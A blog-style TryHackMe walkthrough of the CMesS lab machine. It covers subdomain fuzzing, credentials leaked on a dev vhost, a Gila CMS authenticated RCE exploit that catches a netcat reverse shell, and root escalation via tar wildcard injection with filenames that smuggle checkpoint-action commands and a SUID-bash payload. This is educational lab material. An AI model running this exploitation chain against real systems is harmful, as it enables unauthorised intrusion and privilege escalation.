Post

TryHackMe: CMesS Walkthrough

Complete walkthrough of TryHackMe CMesS machine from a learner perspective. Covers virtual host enumeration with ffuf, exploiting Gila CMS authenticated RCE, finding credentials in /opt, and privilege escalation via tar wildcard cron injection.

TryHackMe: CMesS Walkthrough

Overview

CMesS is a medium-rated Linux machine on TryHackMe created by whitecr0wz.

When I first started this room, it reminded me of a classic web application pentest scenario: you encounter a custom CMS, hit a brick wall on the main website, and have to remember that web servers often host more than one virtual host.

Solving CMesS was a huge milestone for me because it was the first time I saw a real-world demonstration of tar wildcard command injection in a cron job. Reading about wildcard abuse on GTFOBins is one thing, but actually seeing the cron daemon execute your checkpoint action as root is an amazing “aha!” moment.

Here is my full walkthrough of how I worked through CMesS, including where I got stuck and the lessons I took away.


1. Reconnaissance & Initial Port Scanning

I began by setting up my /etc/hosts file with the target machine IP address so I could browse by hostname:

1
echo "10.10.70.174 cmess.thm" | sudo tee -a /etc/hosts

Next, I ran an Nmap scan to see which services were listening:

1
sudo nmap -sCV -p- -T4 -oN nmap_cmess.txt 10.10.70.174

The scan returned two open ports:

1
2
3
4
5
6
7
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-generator: Gila CMS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key takeaways from the scan:

  • Port 22 (SSH): Running OpenSSH 7.2p2. Usually secure unless we find valid credentials.
  • Port 80 (HTTP): Apache serving Gila CMS.
  • robots.txt: Revealed three disallowed folders: /src/, /themes/, and /lib/.

2. Web Enumeration & Subdomain Fuzzing

Navigating to http://cmess.thm presented a standard Gila CMS blog with some default sample posts.

I ran a directory scan using ffuf to look for hidden files or admin panels:

1
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://cmess.thm/FUZZ -fc 404

This highlighted /login and /admin. Browsing to /login presented an authentication form requiring an email and password. I tried standard defaults (admin:admin, admin:password, root:root), but none worked.

At this stage, the main website felt like a dead end. Whenever that happens, my standard checklist reminds me: always check for virtual hosts and subdomains.

I ran ffuf with the Host header to fuzz for subdomains:

1
2
3
4
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://10.10.70.174 \
  -H "Host: FUZZ.cmess.thm" \
  -fw 522

Filtering by word count (-fw 522 to filter out default response noise) immediately surfaced a hit:

1
dev                     [Status: 200, Size: 933, Words: 107, Lines: 31]

I added dev.cmess.thm to /etc/hosts:

1
echo "10.10.70.174 dev.cmess.thm" | sudo tee -a /etc/hosts

Visiting http://dev.cmess.thm in my browser revealed an internal development chat log. Andre had left behind some critical setup notes:

  • Username / Email: andre@cmess.thm
  • Password: KPFTN_f2yxe%

This was the credential breakthrough I needed.


3. Initial Foothold: Gila CMS Authenticated RCE

With Andre’s credentials in hand, I headed back to http://cmess.thm/admin and logged in successfully.

Looking at the admin dashboard footer, the version was clearly visible: Gila CMS 1.10.9.

I searched Exploit-DB using searchsploit to see if this specific version had known vulnerabilities:

1
searchsploit "Gila CMS 1.10.9"

It returned an authenticated Remote Code Execution exploit: php/webapps/51569.py (CVE-2020-13160).

The vulnerability exists in the file manager / theme editor functionality, where authenticated users can upload or write PHP files into the web root.

I mirrored the exploit script locally:

1
searchsploit -m 51569.py

I started a netcat listener on my attack box:

1
nc -lvnp 4444

Then I ran the Python exploit script:

1
python3 51569.py

The script prompted for the target URL, credentials, and my listener details:

  • Target: http://cmess.thm
  • Email: andre@cmess.thm
  • Password: KPFTN_f2yxe%
  • LHOST: 10.9.x.x (my tun0 IP)
  • LPORT: 4444

Within a few seconds, the script uploaded the payload, triggered it, and caught a reverse shell:

1
2
3
Connection from 10.10.70.174:41234 received!
whoami
www-data

4. Upgrading Shell & Lateral Movement to User Andre

First things first: I spawned a fully interactive TTY shell with Python:

1
2
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

Since I was running as www-data, I needed to pivot to the user andre to access his home directory and user flag.

I started manual enumeration by checking common directories where backup files or misconfigured scripts often hide: /var/backups, /tmp, and /opt.

Checking /opt:

1
ls -la /opt

I spotted a hidden file: .password.bak. Reading its contents:

1
cat /opt/.password.bak
1
2
andres backup password
UQfsdCB7aAP6

I tested switching users with su andre and logging in via SSH:

1
ssh andre@10.10.70.174

Password UQfsdCB7aAP6 worked. I was now logged in as andre over a stable SSH session.

I grabbed the user flag:

1
cat /home/andre/user.txt

5. Privilege Escalation: Exploiting Tar Wildcard Cron Job

Now came the path to root. I checked Andre’s sudo permissions with sudo -l, but Andre had no sudo privileges configured.

Next, I looked at scheduled system tasks in /etc/crontab:

1
cat /etc/crontab

One cron job immediately jumped out:

1
*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

Understanding the Vulnerability

Let us break down what this cron job does:

  1. Every 2 minutes, root changes directory into /home/andre/backup.
  2. root runs tar -zcf /tmp/andre_backup.tar.gz *.

Notice the wildcard * at the end!

In Linux, the shell expands the wildcard * before passing the arguments to the tar command. If there are files in /home/andre/backup named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh, the shell expands the command line to:

1
tar -zcf /tmp/andre_backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [other files...]

tar interprets those filenames as command-line flags rather than file paths.

  • --checkpoint=1: tells tar to trigger an action after archiving 1 record.
  • --checkpoint-action=exec=sh shell.sh: tells tar to execute shell.sh using the permissions of the user running tar (which is root!).

Because Andre owns /home/andre/backup, we can create arbitrary files in that folder.

Executing the Exploit

I created a payload script that copies /bin/bash to /tmp/bash and gives it the SUID bit:

1
2
3
cd /home/andre/backup
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
chmod +x shell.sh

Next, I created the two flag files that trick tar:

1
2
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

(Using -- prevents touch from treating the leading dashes as command flags).

Now, I waited for the cron job to run (up to two minutes). After two minutes, I checked /tmp/bash:

1
ls -la /tmp/bash
1
-rwsr-sr-x 1 root root 1037528 Feb 17 21:05 /tmp/bash

The SUID bit was set! I ran the SUID bash binary with the -p (preserve privileges) flag:

1
/tmp/bash -p
1
2
bash-4.3# whoami
root

We are root! I captured the final flag:

1
cat /root/root.txt

What I Learned From This Room

Working through CMesS reinforced several key fundamentals that I now keep top of mind:

  1. Never skip virtual host enumeration: If port 80 looks like a dead-end default site, always fuzz for subdomains and vhosts. Development subdomains frequently expose credentials, test scripts, or unhardened portals.
  2. Beware of wildcards in privileged cron jobs: Using wildcards like * inside scripts run by root is dangerous whenever non-privileged users have write access to that folder. Commands like tar, rsync, and chown have flags that can execute code or change ownership.
  3. Always check /opt and hidden backup files: Developers often leave quick .bak files when troubleshooting. Checking ls -la in /opt, /tmp, and /var should be part of every initial Linux enumeration checklist.

You can find me online at:

My signature image

This post is licensed under CC BY 4.0 by the author.